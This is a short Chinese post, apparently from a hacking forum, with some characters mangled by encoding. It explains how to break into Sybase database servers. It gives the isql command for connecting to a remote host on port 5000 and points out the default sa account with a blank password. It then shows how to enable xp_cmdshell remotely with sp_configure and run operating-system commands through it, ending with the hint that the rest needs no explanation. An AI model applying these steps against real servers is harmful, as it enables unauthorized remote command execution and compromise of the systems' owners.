美國Sybase公司研制的一種關系型數(shù)據(jù)庫系統(tǒng),是一種典型的UNIX或WindowsNT平臺上客戶機/服務器環(huán)境下的大型數(shù)據(jù)庫系統(tǒng)。 Sybase提供了一套應用程序編程接口和庫,可以與非Sybase數(shù)據(jù)源及服務器集成,允許在多個數(shù)據(jù)庫之間復制數(shù)據(jù),適于創(chuàng)建多層應用。系統(tǒng)具有完備的觸發(fā)器、存儲過程、規(guī)則以及完整性定義,支持優(yōu)化查詢,具有較好的數(shù)據(jù)安全性。Sybase通常與SybaseSQLAnywhere用于客戶機/服務器環(huán)境,前者作為服務器數(shù)據(jù)庫,后者為客戶機數(shù)據(jù)庫,采用該公司研制的PowerBuilder為開發(fā)工具,在我國大中型系統(tǒng)中具有廣泛的應用。
首先連接Sybase數(shù)據(jù)庫,可以使用Sybase Central Java Edition,也可以使用Sybase自帶的isql(安裝好數(shù)據(jù)庫后,其路徑為sybase\OCS-12_5\bin),如下圖所示:
isql的使用方法(更具體的用法可查閱相關資料):
isql -H(遠程主機IP地址) -U(賬號) -P(密碼) -J(防止不同字符類型引起的出錯提示,可去掉)
Sybase的默認開放端口為5000,并支持XP_CMDSHELL,這就為遠程執(zhí)行命令提供了條件。
其用法為:xp_cmdshell "你要使用的命令"。
如
xp_cmdshell "dir c:\"。
但是它是不能執(zhí)行的,因為SYBASE默認是不允許使用XP_CMDSHELL的,出錯提示如下:
User access denied. Not a member of NT administrators group.
這個SQL SEVER2005相同,與SQL SEVER2005不同的是Sybase數(shù)據(jù)庫在安裝時默認賬號為sa,密碼為空,并不提示用戶修改密碼,這是很危險的,
在網(wǎng)上查閱了相關資料,發(fā)現(xiàn)可以遠程設置XP_CMDSHELL為啟用,語句如下
sp_configure "xp_cmdshell context",0
執(zhí)行后結果如下圖所示
后面的事情無需多言,其實任何一種開放的服務(端口),任何一種服務,都有其利用方法,看到論壇里更多討論的是SQL Sever,MySQL,Oracle,Access,就是提供一種簡單的思路,最后還有一點就是Sybase也支持其他操作系統(tǒng),比如LINUX中同樣可以執(zhí)行命令,所以簡單了解不同操作系統(tǒng)下的命令還是很重要的。